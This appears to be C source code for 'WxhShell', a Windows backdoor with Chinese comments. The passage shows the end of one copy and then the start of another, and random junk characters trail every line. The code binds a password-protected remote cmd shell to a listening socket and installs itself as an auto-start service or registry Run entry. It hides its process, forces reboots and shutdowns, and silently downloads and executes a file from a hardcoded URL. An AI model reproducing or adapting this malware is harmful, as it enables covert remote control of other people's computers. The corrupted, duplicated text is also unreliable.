    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h%e}4U@X  
    if(Boot(SHUTDOWN)) :UjHP}s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PMr {BS  
    else { S-^y;#=  
    closesocket(wsh); q^}QwJw  
    ExitThread(0); |RT#ZMJek  
    } 0:-i  
    break; )W^Wqa8mG|  
    } ,aI 6P-  
  // 获取shell #;. tVo I  
  case 's': { uS :3Yo  
    CmdShell(wsh); W-mi1l^H{  
    closesocket(wsh); 1g`$[wp|  
    ExitThread(0); i9}n\r0=c  
    break; ,ry2J,IT7  
  } x:8xGG9  
  // 退出 M7vc/E}]n  
  case 'x': { :b+C<Bp64r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7aTo! T  
    CloseIt(wsh); 9k.LV/Y  
    break; @+A`n21,O  
    } T xRa&1  
  // 离开 ]X4 A)4y  
  case 'q': { \ B 0xL,o<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K~$o2a e  
    closesocket(wsh); )fSQTbB;0  
    WSACleanup(); -L7Q,"a$  
    exit(1); E"k\eZns&  
    break; C:/ca)  
        } Zab5"JR  
  } ` c~:3^?9d  
  } :w_J/k5Zd  
hNXP-s  
  // 提示信息 e"en ma\_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -05zcIVo  
} GRz`fO  
  } L+Q"z*W  
+=I_3Wtth  
  return; u->UV:u  
} ]D&$k P(  
W&`_cGoP  
// shell模块句柄 k^I4z^O=-;  
int CmdShell(SOCKET sock) D6Ov]E:fa  
{ mj :8ZZ  
STARTUPINFO si; b\~rL,7(  
ZeroMemory(&si,sizeof(si)); qA:CV(Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _QCspPT' c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -)@DH;[tb  
PROCESS_INFORMATION ProcessInfo; 7SYU^GD  
char cmdline[]="cmd"; aE.T%xR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !!f)w!wW  
  return 0; 7 ]a6dMh  
} R:YX{Tq  
!]q wRB$5  
// 自身启动模式 CD1}.h  
int StartFromService(void) Ty\&ARjb 8  
{ Nb\4Mv`  
typedef struct A"`6 2  
{ h$|K vS  
  DWORD ExitStatus; xin<.)!E  
  DWORD PebBaseAddress; (A`/3Aq+  
  DWORD AffinityMask; M$A"<5  
  DWORD BasePriority; &s_O6cqgh  
  ULONG UniqueProcessId; `9b/Q  
  ULONG InheritedFromUniqueProcessId; k{Yj!C> #  
}   PROCESS_BASIC_INFORMATION; 4VLrl8$K  
cF_`m  
PROCNTQSIP NtQueryInformationProcess; 5{qFKo"g@,  
w'ZL'/d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EL80f>K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +g ovnx  
a #?% I#  
  HANDLE             hProcess; /HH5Mn*  
  PROCESS_BASIC_INFORMATION pbi; (qHI>3tpY  
T#?KY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {y=H49  
  if(NULL == hInst ) return 0; oz%ZEi \bW  
"XMTj <D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N8:?Z#z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {c|nIwdB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u9}}}UN!  
8m1 @l$  
  if (!NtQueryInformationProcess) return 0; ":?>6'*1  
@P+k7"f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @m!~![  
  if(!hProcess) return 0; [~?LOH  
A- IpE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jis{k$4  
YMLo~j4J  
  CloseHandle(hProcess); 1eI >Yy>}  
ftF?T.dx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OM{-^  
if(hProcess==NULL) return 0; By6C+)up  
NZYtA7  
HMODULE hMod; orf21N+[  
char procName[255]; RvV4SlZz  
unsigned long cbNeeded; 9 a2Ga   
N8 }R<3/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fHYEK~!C04  
K,%H*1YKK  
  CloseHandle(hProcess); IJO`"da  
"QACQ-  
if(strstr(procName,"services")) return 1; // 以服务启动 Fgxh?Wd9  
]"q[hF*PM  
  return 0; // 注册表启动 ULMG"."IH  
} Sj(uc#  
sIdo(`8$  
// 主模块 l*("[?>I  
int StartWxhshell(LPSTR lpCmdLine) N:[m,U9a  
{ 3Gf^IV-  
  SOCKET wsl; A_T-]YQ  
BOOL val=TRUE; zMt"ST.  
  int port=0; g"( vl-Uw  
  struct sockaddr_in door; J]nb;4w  
EnA) Rz  
  if(wscfg.ws_autoins) Install(); C*ZgjFvB  
Xj"/6|X  
port=atoi(lpCmdLine); fG;)wQJ  
`R0>;TdT  
if(port<=0) port=wscfg.ws_port; L7_Mg{  
U2/H,D  
  WSADATA data; 75wQH*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @no]*?Gpa  
%m!o#y(hD`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h1G]w/.ws  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y }'C'PR  
  door.sin_family = AF_INET; i;*c|ma1>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zC!]bWsD  
  door.sin_port = htons(port); l@4hBq  
|M  `B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rAIX(2@cR_  
closesocket(wsl); k!t5>kPSQ  
return 1; nVw]0Yl  
} REB8_H"  
D4G*K*z,w4  
  if(listen(wsl,2) == INVALID_SOCKET) { D}vgXzD  
closesocket(wsl); COc1np  
return 1; [nn/a?Z4S  
} ?c"No|@+  
  Wxhshell(wsl); a-x8LfcbF  
  WSACleanup(); l!Z>QE`.S  
y.JAtsxD  
return 0; JM -Tp!C>  
@5\OM#WT~&  
} >k*QkIyq  
u!oHP  
// 以NT服务方式启动 a+)Yk8%KY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f'TjR#w  
{ sn2SDHY  
DWORD   status = 0; ?`AzgM[I  
  DWORD   specificError = 0xfffffff; 2,/("lV@0  
?+D_*'65D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Run)E*sf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9 }|Bs=q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oiJa1X  
  serviceStatus.dwWin32ExitCode     = 0; (<s7X$(]e  
  serviceStatus.dwServiceSpecificExitCode = 0; R +P,kD?  
  serviceStatus.dwCheckPoint       = 0; %Ub"V\1  
  serviceStatus.dwWaitHint       = 0; C"k8 M\RW?  
k7>*fQ89@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6.~HbN  
  if (hServiceStatusHandle==0) return; !sEI|47{  
pnca+d  
status = GetLastError(); )"|'=  
  if (status!=NO_ERROR) `5<  
{ - 4'yp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G~a;q+7v'$  
    serviceStatus.dwCheckPoint       = 0; i' %V}2  
    serviceStatus.dwWaitHint       = 0; >*,Zc  
    serviceStatus.dwWin32ExitCode     = status; ;H_yNrwA  
    serviceStatus.dwServiceSpecificExitCode = specificError; # Fw<R'c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t< $9!"  
    return; ($7>\"+Tl  
  } Zg5@l3w  
M7Cq)cT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :35J<oG  
  serviceStatus.dwCheckPoint       = 0; [esjR`u  
  serviceStatus.dwWaitHint       = 0; ETV|;>v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )K -@{v^|  
} {F6hx9?  
TGdD7n&Ehh  
// 处理NT服务事件,比如:启动、停止 (NOAHV0H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (-(,~E  
{ 6|X  
switch(fdwControl) +>KWY PH  
{ U&C\5N]  
case SERVICE_CONTROL_STOP: ^>h 9<  
  serviceStatus.dwWin32ExitCode = 0; =R:3J"ly0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3T# zxu  
  serviceStatus.dwCheckPoint   = 0; Ayc}uuu  
  serviceStatus.dwWaitHint     = 0; }/x `w  
  { !O@qqg(>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]d_Id]Qa+  
  } "@Ra>qb  
  return; Ik>sd@X*|  
case SERVICE_CONTROL_PAUSE: q-/A_5>!;f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tQ5gmj  
  break; L7G':oA_`p  
case SERVICE_CONTROL_CONTINUE: .MhZ=sn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qeQTW@6 F  
  break; <4^ _dJ9=  
case SERVICE_CONTROL_INTERROGATE: h\Op|#gIT  
  break; F:n(yXA  
}; &?9p\oY[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SY`NZJK  
} f5 wn`a~h  
92]>"  
// 标准应用程序主函数 \|@]XNSN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L'J$jB5cP  
{ mJc'oG-  
4fr/ C5M  
// 获取操作系统版本 1N x%uz  
OsIsNt=GetOsVer(); 9j49#wG0"B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $f_;>f2N  
[`=|^2n?  
  // 从命令行安装 ?:s`}b  
  if(strpbrk(lpCmdLine,"iI")) Install(); zbddn4bW9  
$d:/cN 8E  
  // 下载执行文件 {ogGi/8  
if(wscfg.ws_downexe) { /jC0[%~jV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x/~V ZO  
  WinExec(wscfg.ws_filenam,SW_HIDE); !a[ voUS  
} 'dQ2"x?4  
|bi"J;y  
if(!OsIsNt) { 09_3`K. *  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~kS~v  
HideProc(); `dMOBYV  
StartWxhshell(lpCmdLine); g`y >)N/  
} }LM^>M%  
else 4Yt:PN2  
  if(StartFromService()) @8DB Ln w  
  // 以服务方式启动 4Mi*bN,  
  StartServiceCtrlDispatcher(DispatchTable); bo <.7  
else l4O}>#  
  // 普通方式启动 r}WV"/]p  
  StartWxhshell(lpCmdLine); 8niQG']  
}z,4IHNn  
return 0; B:n9*<v(  
} $A7[?Ai ?  
"}\z7^.W>  
-[~{c]/c  
pA!+;Y!ZB<  
=========================================== M98dQ%4I  
[m|\N  
rD%(*|Y"c  
CP7Zin1S/w  
!z{bqPlFGG  
*;m5^i<,;S  
" xHJ+!   
/6gqpzum4  
#include <stdio.h> \hc}xy 0  
#include <string.h> JR$Dp&]I  
#include <windows.h> )qn =  
#include <winsock2.h> NrgN{6u;  
#include <winsvc.h> 3.Ni%FF`  
#include <urlmon.h> qX0IHe  
I:]s/r7  
#pragma comment (lib, "Ws2_32.lib") Vd)iv\a  
#pragma comment (lib, "urlmon.lib") e&8pTD3  
}Da8S|)H  
#define MAX_USER   100 // 最大客户端连接数 JXftQOn  
#define BUF_SOCK   200 // sock buffer ah"2^x  
#define KEY_BUFF   255 // 输入 buffer UQPd@IVu6  
aP cO9  
#define REBOOT     0   // 重启 $$A{|4,aI  
#define SHUTDOWN   1   // 关机 H6/@loO!Xy  
hNyYk(t^  
#define DEF_PORT   5000 // 监听端口 @xtcjB9  
L G,XhN  
#define REG_LEN     16   // 注册表键长度 =Q.2:*d.  
#define SVC_LEN     80   // NT服务名长度 OB6I8n XW  
l#~Sh3@L(  
// 从dll定义API {u9(qd;;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fF_1ZKx+#!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )}~k7bb}Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NX@TWBn%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .m;1V6  
WQv~<]1J F  
// wxhshell配置信息 ZA1?'  
struct WSCFG { , y{o!w  
  int ws_port;         // 监听端口 8s?;<6  
  char ws_passstr[REG_LEN]; // 口令 nvu|V3B0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;#EB0TK  
  char ws_regname[REG_LEN]; // 注册表键名 cw/g1,p  
  char ws_svcname[REG_LEN]; // 服务名 V>gEF'g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F!|Z_6\tv:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uEVRk9nb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AjAmV hq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zST# X}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VXn]*Mo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MZn7gT0  
?lR)Hi  
}; %ghQ#dZ]&  
^5 F-7R8Q  
// default Wxhshell configuration {KeHqM}e  
struct WSCFG wscfg={DEF_PORT, nl*{@R.q @  
    "xuhuanlingzhe", #n{wK+lz  
    1, _AI2\e  
    "Wxhshell", 7Q 0 M3m  
    "Wxhshell", Q7"KgqpQ3  
            "WxhShell Service", .Z8 x!!Q*  
    "Wrsky Windows CmdShell Service", udp&U+L  
    "Please Input Your Password: ", un W{ZfEC  
  1, p tv  
  "http://www.wrsky.com/wxhshell.exe", 6:-qL}  
  "Wxhshell.exe" a}M7"v9  
    }; bk2 HAG  
GQ2&D}zh  
// 消息定义模块 PLFM[t/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q&jZmr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [53@'@26  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K&BlWXT  
char *msg_ws_ext="\n\rExit."; u5V<f;  
char *msg_ws_end="\n\rQuit."; *vJ1~SRV  
char *msg_ws_boot="\n\rReboot..."; ?F AsV&y  
char *msg_ws_poff="\n\rShutdown..."; qAR~js`5  
char *msg_ws_down="\n\rSave to "; eU@yw1N  
U6jlv3  
char *msg_ws_err="\n\rErr!"; -CtA\< 7I  
char *msg_ws_ok="\n\rOK!"; BB--UM{7  
kzJNdYtdH  
char ExeFile[MAX_PATH]; jt Q2vJ-  
int nUser = 0; |A'8'z&q  
HANDLE handles[MAX_USER]; R!*UU'se  
int OsIsNt; bt%k;Z]  
f@\ k_  
SERVICE_STATUS       serviceStatus; v{Zh!mk* L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >p\IC  
0z#+^  
// 函数声明 }= s@y"["  
int Install(void); ukS@8/eJ  
int Uninstall(void); Bwb3@vNA  
int DownloadFile(char *sURL, SOCKET wsh); %L/Wc,My  
int Boot(int flag); ppb]RN|)  
void HideProc(void); wA.YEI|CSj  
int GetOsVer(void); Y)c9]1qly  
int Wxhshell(SOCKET wsl); X]C-y,r[M  
void TalkWithClient(void *cs); kul&m|  
int CmdShell(SOCKET sock); ~;UK/OZ  
int StartFromService(void); )uwpeq$j7l  
int StartWxhshell(LPSTR lpCmdLine); dMeDQ`c`W  
;?=] ffa{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iP|h];a+@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Va(R*38k  
 B*Hp  
// 数据结构和表定义 k/?+jb  
SERVICE_TABLE_ENTRY DispatchTable[] = % eW>IN]5  
{ N(t1?R/e,  
{wscfg.ws_svcname, NTServiceMain}, swi|   
{NULL, NULL} &p8K0 |  
}; LNXhzW   
4K0N$9pd:  
// 自我安装 P~ffgzP  
int Install(void) ^q FFF3<8  
{ [m3G%PO@Da  
  char svExeFile[MAX_PATH]; Z7k {7  
  HKEY key; 5y}}?6n+  
  strcpy(svExeFile,ExeFile); .[= 0(NO  
-M%n<,XN0  
// 如果是win9x系统,修改注册表设为自启动 Pk~P  
if(!OsIsNt) { ZN%$k-2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'V 1QuSd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ],qG!,V  
  RegCloseKey(key); ^YenS6`F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~`T(mh',  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j\@s pbE@  
  RegCloseKey(key); iknBc-TLD  
  return 0; )3h=V^rm  
    } Q&`$:h.~  
  } LtejLCf/  
} f IQ$a >  
else { !?O:%QG  
z[z'.{;D  
// 如果是NT以上系统,安装为系统服务 wC@4`h\U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :ozHuHJ#  
if (schSCManager!=0) D~NH 4B  
{ dfc-#I p?  
  SC_HANDLE schService = CreateService FEU$D\1y  
  ( ,dzbI{@6  
  schSCManager, 78dmXOZ'_h  
  wscfg.ws_svcname, .Pxb9mW  
  wscfg.ws_svcdisp,  EvTdwX.H  
  SERVICE_ALL_ACCESS, e/#4)@]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1i bQ'bZ  
  SERVICE_AUTO_START, *bmk(%g  
  SERVICE_ERROR_NORMAL, A){kitx-i)  
  svExeFile, I0m/   
  NULL, /A|ofAr)  
  NULL, "^22 Y}VB  
  NULL, ;\4}Hcg  
  NULL, 5xTm]  
  NULL _V-@95fK  
  ); ;[g v-H  
  if (schService!=0) +Nc|cj  
  { ?P{C=Td2z  
  CloseServiceHandle(schService); N5%~~JRO  
  CloseServiceHandle(schSCManager); EJdq"6S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3"I 1'+  
  strcat(svExeFile,wscfg.ws_svcname); *7BY$q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +;FF0_   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .Zf#L'Rf  
  RegCloseKey(key); 8N ci1o  
  return 0; ` mALx! `  
    } w V2 7  
  } 6tzZ j:y q  
  CloseServiceHandle(schSCManager); &[R&@l Y  
} ( 5_oH  
} AWD &K!  
[OH>NpL  
return 1; /YUf(' b  
} x9-K}s]%  
wnt^WW=a[  
// 自我卸载 ]y.,J  
int Uninstall(void) EU>@k{Qt  
{ -_>c P  
  HKEY key; 8ru@ 8|r  
F3';oyy  
if(!OsIsNt) { rAP+nh ans  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N|1J@"H  
  RegDeleteValue(key,wscfg.ws_regname);  78qf  
  RegCloseKey(key); LP=!u~?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u+8_et5T  
  RegDeleteValue(key,wscfg.ws_regname); R;I}#b cJ  
  RegCloseKey(key); 6<rc]T'|  
  return 0; "i_tO+  
  } iLv"ZqGrw  
} ^4 es  
} 3i35F.=X,  
else { ^]E| >~\  
/*r MveT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FCqs'  
if (schSCManager!=0) Pbm ;@ V  
{ Wd~}O<"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9FPl  
  if (schService!=0) Cv;z^8PZJz  
  { K8284A8v  
  if(DeleteService(schService)!=0) { FY#`]124*  
  CloseServiceHandle(schService); }@ 1LFZx  
  CloseServiceHandle(schSCManager); ^Ud`2 OW;2  
  return 0; 6kIq6rWF9  
  } t MA  
  CloseServiceHandle(schService); ,,fLK1  
  } Rg0\Ng4|G  
  CloseServiceHandle(schSCManager); JK,#dA#  
} RR`?o\  
} r'xa' 6&  
-#rFCfPy^  
return 1; &W.tjqmw  
} 1(On.Y=   
@H7dQ, %  
// 从指定url下载文件 DU}q4u@ )  
int DownloadFile(char *sURL, SOCKET wsh) !X[lNt O  
{ IO v4Zx<)  
  HRESULT hr; p)TH^87  
char seps[]= "/"; 'y'>0'et  
char *token; c{FvMV2em  
char *file; >A2& Mjo  
char myURL[MAX_PATH]; Ge(r6"%7  
char myFILE[MAX_PATH]; P d*}0a~  
B<:i[~`7t  
strcpy(myURL,sURL); b!7"drge:  
  token=strtok(myURL,seps); CZwZ#WV6  
  while(token!=NULL) xu& v(C9  
  { ]*):2%f  
    file=token; (_<ruwV]`  
  token=strtok(NULL,seps); :Tj,;0#/  
  } He j0l^  
VMen:  
GetCurrentDirectory(MAX_PATH,myFILE); +k8><_vr}  
strcat(myFILE, "\\"); 9;h 1;9sC|  
strcat(myFILE, file); EWH'x$z_q  
  send(wsh,myFILE,strlen(myFILE),0); 7J$ ^R6rh  
send(wsh,"...",3,0); xvpS%MS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oe2Tmvl  
  if(hr==S_OK) E.6^~'/  
return 0; { " $2  
else __3Cjo^6&  
return 1; @["Vzg!I6"  
y}#bCRy~.A  
} D }b+#G(m[  
H Qf[T@  
// 系统电源模块  kQX,MP(  
int Boot(int flag) G=~T)e  
{ U%w-/!p  
  HANDLE hToken; ?P"ht  
  TOKEN_PRIVILEGES tkp; /\#qz.c2K  
N;Hf7K  
  if(OsIsNt) { 1*>a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S1`+r0Fk~n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2"V?+Hhz  
    tkp.PrivilegeCount = 1; #c?\(qjWA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tw*qlbFHv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )O2^?Q quS  
if(flag==REBOOT) { _NqEhf:8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "%>/rh2Iq  
  return 0; (VBoZP=W  
} Q v{q:=k  
else { siyJjE)}w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '<1T>|`/t  
  return 0; >@ge[MuS  
} 1j0yON  
  } =>S5}6  
  else { +T UtVG  
if(flag==REBOOT) { !^`ZHJ-3>;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /*D]4AK  
  return 0; RQ/X{<lQ)  
} !f7}5/YC7v  
else { 7/aJ?:gX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nM}X1^PiK"  
  return 0; #C !8a  
} #kma)_X  
} m"+9[d_u  
xx9qi^  
return 1; tLV9b %i(  
} yt_?4Hc"  
o{zo-:>Jp  
// win9x进程隐藏模块 {I(Euk>lR  
void HideProc(void) K6|*-Wo.  
{ 'lIT7MK  
:/Sx\Nz78  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )(75dUl  
  if ( hKernel != NULL ) 7b'XQ/rs  
  { `n5|4yaG~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5^P)='0*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w6#hsRq[C  
    FreeLibrary(hKernel); i ]F,Y;&|  
  } /=Q7RJ@P  
D ZLSn Ax  
return; s "*Cb*  
} <VgnrqF6:  
ze,HN Fg@>  
// 获取操作系统版本 ,|T   
int GetOsVer(void) s(wbsRVP8  
{ t ;y>q  
  OSVERSIONINFO winfo; . 6Bz48*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S ._9  
  GetVersionEx(&winfo); c9f~^}jNb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !:e}d+F  
  return 1; +J+]P\:  
  else X}Fc0Oo  
  return 0; tlvLbP*r  
} r6MQ|@  
r 97 VX>  
// 客户端句柄模块 X "1q$xwc  
int Wxhshell(SOCKET wsl) }$iH 3#E8  
{ *qKwu?]?>  
  SOCKET wsh; SV8rZWJ  
  struct sockaddr_in client; M}M.  
  DWORD myID; qw"`NubX  
:5h&f  
  while(nUser<MAX_USER) l'-iIbKX  
{ ogjm6;  
  int nSize=sizeof(client); (x?A#o>%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \JN<"/  
  if(wsh==INVALID_SOCKET) return 1; ,bJZs-P0  
e&]XiV'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "t4~xs`~X  
if(handles[nUser]==0) QLIm+)T  
  closesocket(wsh); oOQnV(I  
else {kW!|h&'  
  nUser++; rj<%_d'Z`  
  } 0)9GkHVu(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~v+& ?dg  
b6);bX>e  
  return 0; pm<<!`w"  
} n;O 3.2  
DB%=/ \U  
// 关闭 socket 3(vI{[yhT  
void CloseIt(SOCKET wsh) 4*m\Zoq>  
{ E})PNf;  
closesocket(wsh); C{Aeud #5  
nUser--; y>Nlj%XH  
ExitThread(0); . KRh59yg  
} D~2,0K  
?]$.3azO  
// 客户端请求句柄 O6boTB_2  
void TalkWithClient(void *cs) @@!t$dD  
{ )"j_ NlO  
TKj9s'/  
  SOCKET wsh=(SOCKET)cs; % J+'7'g  
  char pwd[SVC_LEN]; ^R K[-tVV  
  char cmd[KEY_BUFF]; "$ u"Py  
char chr[1]; nQ/(*d  
int i,j; 8!:4m"Y  
nLo:\I(  
  while (nUser < MAX_USER) { mN ~;MR;  
^#g GA_H  
if(wscfg.ws_passstr) { \n+`~< i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B>9D@fmzs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bjD0y cB[  
  //ZeroMemory(pwd,KEY_BUFF); &/a/V  
      i=0; V&\ZqgDF  
  while(i<SVC_LEN) { c;wt9J.f  
gsT%_2>CL  
  // 设置超时 0=-h9W{zI  
  fd_set FdRead; dd98v Vj  
  struct timeval TimeOut; yK[ ~(!c5  
  FD_ZERO(&FdRead); !cWKY \lpv  
  FD_SET(wsh,&FdRead);  !X |Tf  
  TimeOut.tv_sec=8; %T1(3T{Li  
  TimeOut.tv_usec=0; > `z^AB   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z$6W)~;,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |%b'L.$4  
&z%7Nu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /R F#B#9  
  pwd=chr[0]; -+O8v;aC'  
  if(chr[0]==0xd || chr[0]==0xa) { UW)k]@L  
  pwd=0; Pm" ,7  
  break; gqG l>=.m  
  } Pf(z0o&  
  i++; 5 _] i==M  
    } ydoCoD w  
u~a<Psp&|  
  // 如果是非法用户,关闭 socket 'nW:2(J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R},mq&f5  
} 2b3x|9o8  
Y}e$5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xj|j\2$ 0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L(AY)gB  
gIRFqEz@o  
while(1) { TLO-$>h  
|A0kbC.  
  ZeroMemory(cmd,KEY_BUFF); 3osAWSCEL  
okr'=iDg  
      // 自动支持客户端 telnet标准   o2F6K*u}  
  j=0; coU`2n/  
  while(j<KEY_BUFF) { zXp{9P\c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \s+ <w3  
  cmd[j]=chr[0]; JnPA;1@/  
  if(chr[0]==0xa || chr[0]==0xd) { bzB9u&  
  cmd[j]=0; @I_ A(cr  
  break; Etn]e;z4  
  } !K6:W1  
  j++; W99Fb+$I  
    } E~{-RZNK  
/:C"n|P7Z  
  // 下载文件 &bA;>Lu#|o  
  if(strstr(cmd,"http://")) { h:j-Xd$H+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nD E5A  
  if(DownloadFile(cmd,wsh)) T>W(Caelq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tAYu|\]  
  else fZXd<Fg+  
